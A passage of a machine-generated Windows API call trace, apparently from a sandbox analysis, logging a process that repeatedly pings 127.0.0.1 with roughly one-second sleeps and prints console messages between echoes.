returned 0x2 [0272.738] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0272.738] _fileno (_File=0x74412628) returned 1 [0272.738] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0272.738] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0272.738] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0272.742] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.742] _fileno (_File=0x74412628) returned 1 [0272.742] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0272.742] LocalFree (hMem=0xddb068) returned 0x0 [0272.742] __iob_func () returned 0x74412608 [0272.742] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="끨Ý歷\x9f⪝Ğ☨瑁✨") returned 0x9 [0272.742] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.742] _fileno (_File=0x74412628) returned 1 [0272.742] _get_osfhandle (_FileHandle=1) returned 0x90 [0272.742] GetFileType (hFile=0x90) returned 0x2 [0272.742] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0272.742] _fileno (_File=0x74412628) returned 1 [0272.742] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0272.743] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0272.743] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0272.749] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0272.749] _fileno (_File=0x74412628) returned 1 [0272.749] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0272.749] LocalFree (hMem=0xddb068) returned 0x0 [0272.749] Sleep (dwMilliseconds=0x3e7) [0273.767] IcmpSendEcho2Ex (in: IcmpHandle=0xdcd820, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xdcec48, RequestSize=0x20, RequestOptions=0x9ff038, ReplyBuffer=0xdd6b28, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xdd6b28) returned 0x1 [0273.799] InetNtopW (in: Family=2, pAddr=0x9ff018, pStringBuf=0x9ff14c, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1" [0273.800] __iob_func () returned 0x74412608 [0273.800] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="땈Ý歷\x9f⦙Ğ☨瑁✣") returned 0x16 [0273.800] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.800] _fileno (_File=0x74412628) returned 1 [0273.800] _get_osfhandle (_FileHandle=1) returned 0x90 [0273.800] GetFileType (hFile=0x90) returned 0x2 [0273.800] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0273.805] _fileno (_File=0x74412628) returned 1 [0273.805] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0273.805] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0273.805] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 22 [0273.814] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.814] _fileno (_File=0x74412628) returned 1 [0273.814] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0273.814] LocalFree (hMem=0xddb548) returned 0x0 [0273.814] __iob_func () returned 0x74412608 [0273.814] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⧃Ğ☨瑁✼") returned 0x9 [0273.814] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.814] _fileno (_File=0x74412628) returned 1 [0273.814] _get_osfhandle (_FileHandle=1) returned 0x90 [0273.814] GetFileType (hFile=0x90) returned 0x2 [0273.814] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0273.814] _fileno (_File=0x74412628) returned 1 [0273.814] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0273.814] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0273.815] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0273.818] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.818] _fileno (_File=0x74412628) returned 1 [0273.818] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0273.818] LocalFree (hMem=0xddb5e8) returned 0x0 [0273.818] __iob_func () returned 0x74412608 [0273.818] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x9fefc4, nSize=0x0, Arguments=0x9fefc0 | out: lpBuffer="뗨Ý歷\x9f⩽Ğ☨瑁✧") returned 0x9 [0273.818] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.818] _fileno (_File=0x74412628) returned 1 [0273.818] _get_osfhandle (_FileHandle=1) returned 0x90 [0273.818] GetFileType (hFile=0x90) returned 0x2 [0273.818] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef90 | out: lpMode=0x9fef90) returned 1 [0273.819] _fileno (_File=0x74412628) returned 1 [0273.819] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0273.819] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feef0, nSize=0x50 | out: lpBuffer="\x9f犛眕") returned 0x0 [0273.819] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0273.822] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.822] _fileno (_File=0x74412628) returned 1 [0273.822] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0273.822] LocalFree (hMem=0xddb5e8) returned 0x0 [0273.822] __iob_func () returned 0x74412608 [0273.822] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⪝Ğ☨瑁✨") returned 0x9 [0273.822] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.822] _fileno (_File=0x74412628) returned 1 [0273.822] _get_osfhandle (_FileHandle=1) returned 0x90 [0273.822] GetFileType (hFile=0x90) returned 0x2 [0273.822] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0273.823] _fileno (_File=0x74412628) returned 1 [0273.823] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0273.823] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0273.823] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0273.827] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0273.827] _fileno (_File=0x74412628) returned 1 [0273.827] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0273.827] LocalFree (hMem=0xddb5e8) returned 0x0 [0273.827] Sleep (dwMilliseconds=0x3e8) [0274.846] IcmpSendEcho2Ex (in: IcmpHandle=0xdcd820, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xdcec48, RequestSize=0x20, RequestOptions=0x9ff038, ReplyBuffer=0xdd6b28, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xdd6b28) returned 0x1 [0274.892] InetNtopW (in: Family=2, pAddr=0x9ff018, pStringBuf=0x9ff14c, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1" [0274.892] __iob_func () returned 0x74412608 [0274.892] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⦙Ğ☨瑁✣") returned 0x16 [0274.892] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0274.892] _fileno (_File=0x74412628) returned 1 [0274.892] _get_osfhandle (_FileHandle=1) returned 0x90 [0274.892] GetFileType (hFile=0x90) returned 0x2 [0274.892] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0274.975] _fileno (_File=0x74412628) returned 1 [0274.975] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0274.975] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0274.975] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 22 [0275.800] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.800] _fileno (_File=0x74412628) returned 1 [0275.801] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0275.801] LocalFree (hMem=0xddb5e8) returned 0x0 [0275.801] __iob_func () returned 0x74412608 [0275.801] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⧃Ğ☨瑁✼") returned 0x9 [0275.801] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.801] _fileno (_File=0x74412628) returned 1 [0275.801] _get_osfhandle (_FileHandle=1) returned 0x90 [0275.801] GetFileType (hFile=0x90) returned 0x2 [0275.801] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0275.801] _fileno (_File=0x74412628) returned 1 [0275.801] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0275.801] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0275.801] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0275.805] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.805] _fileno (_File=0x74412628) returned 1 [0275.805] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0275.805] LocalFree (hMem=0xddb5e8) returned 0x0 [0275.805] __iob_func () returned 0x74412608 [0275.805] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x9fefc4, nSize=0x0, Arguments=0x9fefc0 | out: lpBuffer="뗨Ý歷\x9f⩽Ğ☨瑁✧") returned 0x9 [0275.805] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.805] _fileno (_File=0x74412628) returned 1 [0275.805] _get_osfhandle (_FileHandle=1) returned 0x90 [0275.805] GetFileType (hFile=0x90) returned 0x2 [0275.805] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef90 | out: lpMode=0x9fef90) returned 1 [0275.806] _fileno (_File=0x74412628) returned 1 [0275.806] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0275.806] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feef0, nSize=0x50 | out: lpBuffer="\x9f犛眕") returned 0x0 [0275.806] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0275.809] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.809] _fileno (_File=0x74412628) returned 1 [0275.809] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0275.810] LocalFree (hMem=0xddb5e8) returned 0x0 [0275.810] __iob_func () returned 0x74412608 [0275.810] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⪝Ğ☨瑁✨") returned 0x9 [0275.810] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.810] _fileno (_File=0x74412628) returned 1 [0275.810] _get_osfhandle (_FileHandle=1) returned 0x90 [0275.810] GetFileType (hFile=0x90) returned 0x2 [0275.810] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0275.810] _fileno (_File=0x74412628) returned 1 [0275.810] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0275.810] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0275.810] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0275.817] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0275.817] _fileno (_File=0x74412628) returned 1 [0275.817] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0275.817] LocalFree (hMem=0xddb5e8) returned 0x0 [0275.817] Sleep (dwMilliseconds=0x3e8) [0276.877] IcmpSendEcho2Ex (in: IcmpHandle=0xdcd820, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xdcec48, RequestSize=0x20, RequestOptions=0x9ff038, ReplyBuffer=0xdd6b28, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xdd6b28) returned 0x1 [0276.954] InetNtopW (in: Family=2, pAddr=0x9ff018, pStringBuf=0x9ff14c, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1" [0276.955] __iob_func () returned 0x74412608 [0276.955] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⦙Ğ☨瑁✣") returned 0x16 [0276.955] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0276.955] _fileno (_File=0x74412628) returned 1 [0276.955] _get_osfhandle (_FileHandle=1) returned 0x90 [0276.955] GetFileType (hFile=0x90) returned 0x2 [0276.955] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0277.101] _fileno (_File=0x74412628) returned 1 [0277.101] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0277.101] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0277.101] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 22 [0281.867] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0281.867] _fileno (_File=0x74412628) returned 1 [0281.867] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0281.867] LocalFree (hMem=0xddb5e8) returned 0x0 [0281.867] __iob_func () returned 0x74412608 [0281.867] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⧃Ğ☨瑁✼") returned 0x9 [0281.868] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0281.868] _fileno (_File=0x74412628) returned 1 [0281.868] _get_osfhandle (_FileHandle=1) returned 0x90 [0281.868] GetFileType (hFile=0x90) returned 0x2 [0281.868] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0282.034] _fileno (_File=0x74412628) returned 1 [0282.034] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0282.034] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0282.034] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0283.463] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0283.463] _fileno (_File=0x74412628) returned 1 [0283.463] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0283.463] LocalFree (hMem=0xddb5e8) returned 0x0 [0283.463] __iob_func () returned 0x74412608 [0283.463] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x9fefc4, nSize=0x0, Arguments=0x9fefc0 | out: lpBuffer="뗨Ý歷\x9f⩽Ğ☨瑁✧") returned 0x9 [0283.463] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0283.463] _fileno (_File=0x74412628) returned 1 [0283.463] _get_osfhandle (_FileHandle=1) returned 0x90 [0283.463] GetFileType (hFile=0x90) returned 0x2 [0283.463] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef90 | out: lpMode=0x9fef90) returned 1 [0283.465] _fileno (_File=0x74412628) returned 1 [0283.465] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0283.465] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feef0, nSize=0x50 | out: lpBuffer="\x9f犛眕") returned 0x0 [0283.465] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0287.980] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0287.980] _fileno (_File=0x74412628) returned 1 [0287.980] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0287.980] LocalFree (hMem=0xddb5e8) returned 0x0 [0287.980] __iob_func () returned 0x74412608 [0287.980] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⪝Ğ☨瑁✨") returned 0x9 [0287.981] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0287.981] _fileno (_File=0x74412628) returned 1 [0287.981] _get_osfhandle (_FileHandle=1) returned 0x90 [0287.981] GetFileType (hFile=0x90) returned 0x2 [0287.981] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0288.192] _fileno (_File=0x74412628) returned 1 [0288.193] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0288.193] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0288.193] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0290.631] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0290.631] _fileno (_File=0x74412628) returned 1 [0290.631] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0290.631] LocalFree (hMem=0xddb5e8) returned 0x0 [0290.631] Sleep (dwMilliseconds=0x3e8) [0291.693] IcmpSendEcho2Ex (in: IcmpHandle=0xdcd820, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xdcec48, RequestSize=0x20, RequestOptions=0x9ff038, ReplyBuffer=0xdd6b28, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xdd6b28) returned 0x1 [0291.719] InetNtopW (in: Family=2, pAddr=0x9ff018, pStringBuf=0x9ff14c, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1" [0291.719] __iob_func () returned 0x74412608 [0291.719] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⦙Ğ☨瑁✣") returned 0x16 [0291.719] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0291.719] _fileno (_File=0x74412628) returned 1 [0291.719] _get_osfhandle (_FileHandle=1) returned 0x90 [0291.719] GetFileType (hFile=0x90) returned 0x2 [0291.719] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0291.840] _fileno (_File=0x74412628) returned 1 [0291.840] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0291.840] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0291.840] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 22 [0294.566] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0294.566] _fileno (_File=0x74412628) returned 1 [0294.566] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0294.566] LocalFree (hMem=0xddb5e8) returned 0x0 [0294.566] __iob_func () returned 0x74412608 [0294.566] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⧃Ğ☨瑁✼") returned 0x9 [0294.566] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0294.566] _fileno (_File=0x74412628) returned 1 [0294.566] _get_osfhandle (_FileHandle=1) returned 0x90 [0294.566] GetFileType (hFile=0x90) returned 0x2 [0294.566] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0294.666] _fileno (_File=0x74412628) returned 1 [0294.666] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0294.666] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0294.666] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0295.807] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0295.807] _fileno (_File=0x74412628) returned 1 [0295.807] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0295.807] LocalFree (hMem=0xddb5e8) returned 0x0 [0295.807] __iob_func () returned 0x74412608 [0295.807] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x9fefc4, nSize=0x0, Arguments=0x9fefc0 | out: lpBuffer="뗨Ý歷\x9f⩽Ğ☨瑁✧") returned 0x9 [0295.807] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0295.807] _fileno (_File=0x74412628) returned 1 [0295.807] _get_osfhandle (_FileHandle=1) returned 0x90 [0295.807] GetFileType (hFile=0x90) returned 0x2 [0295.807] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef90 | out: lpMode=0x9fef90) returned 1 [0295.900] _fileno (_File=0x74412628) returned 1 [0295.900] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0295.900] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feef0, nSize=0x50 | out: lpBuffer="\x9f犛眕") returned 0x0 [0295.900] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0296.900] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0296.900] _fileno (_File=0x74412628) returned 1 [0296.900] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0296.900] LocalFree (hMem=0xddb5e8) returned 0x0 [0296.901] __iob_func () returned 0x74412608 [0296.901] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⪝Ğ☨瑁✨") returned 0x9 [0296.901] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0296.901] _fileno (_File=0x74412628) returned 1 [0296.901] _get_osfhandle (_FileHandle=1) returned 0x90 [0296.901] GetFileType (hFile=0x90) returned 0x2 [0296.901] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0296.982] _fileno (_File=0x74412628) returned 1 [0296.982] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0296.982] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0296.982] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0298.044] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0298.045] _fileno (_File=0x74412628) returned 1 [0298.045] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0298.045] LocalFree (hMem=0xddb5e8) returned 0x0 [0298.045] Sleep (dwMilliseconds=0x3e8) [0299.800] IcmpSendEcho2Ex (in: IcmpHandle=0xdcd820, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, SourceAddress=0x0, DestinationAddress=0x100007f, RequestData=0xdcec48, RequestSize=0x20, RequestOptions=0x9ff038, ReplyBuffer=0xdd6b28, ReplySize=0x1ff8, Timeout=0xfa0 | out: ReplyBuffer=0xdd6b28) returned 0x1 [0299.948] InetNtopW (in: Family=2, pAddr=0x9ff018, pStringBuf=0x9ff14c, StringBufSize=0x16 | out: pStringBuf="127.0.0.1") returned="127.0.0.1" [0299.948] __iob_func () returned 0x74412608 [0299.948] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2723, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="뗨Ý歷\x9f⦙Ğ☨瑁✣") returned 0x16 [0299.948] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0299.948] _fileno (_File=0x74412628) returned 1 [0299.948] _get_osfhandle (_FileHandle=1) returned 0x90 [0299.948] GetFileType (hFile=0x90) returned 0x2 [0299.949] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0300.077] _fileno (_File=0x74412628) returned 1 [0300.077] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0300.077] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0300.077] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 22 [0301.856] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.856] _fileno (_File=0x74412628) returned 1 [0301.856] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0301.856] LocalFree (hMem=0xddb5e8) returned 0x0 [0301.856] __iob_func () returned 0x74412608 [0301.856] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x273c, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="匰Ü歷\x9f⧃Ğ☨瑁✼") returned 0x9 [0301.856] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.856] _fileno (_File=0x74412628) returned 1 [0301.856] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.856] GetFileType (hFile=0x90) returned 0x2 [0301.856] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0301.856] _fileno (_File=0x74412628) returned 1 [0301.856] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0301.856] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0301.856] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0301.859] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.859] _fileno (_File=0x74412628) returned 1 [0301.859] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0301.859] LocalFree (hMem=0xdc5330) returned 0x0 [0301.859] __iob_func () returned 0x74412608 [0301.859] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2727, dwLanguageId=0x0, lpBuffer=0x9fefc4, nSize=0x0, Arguments=0x9fefc0 | out: lpBuffer="匰Ü歷\x9f⩽Ğ☨瑁✧") returned 0x9 [0301.859] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.859] _fileno (_File=0x74412628) returned 1 [0301.860] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.860] GetFileType (hFile=0x90) returned 0x2 [0301.860] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef90 | out: lpMode=0x9fef90) returned 1 [0301.860] _fileno (_File=0x74412628) returned 1 [0301.860] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0301.860] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feef0, nSize=0x50 | out: lpBuffer="\x9f犛眕") returned 0x0 [0301.860] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0301.864] fflush (in: _File=0x74412628 | out: 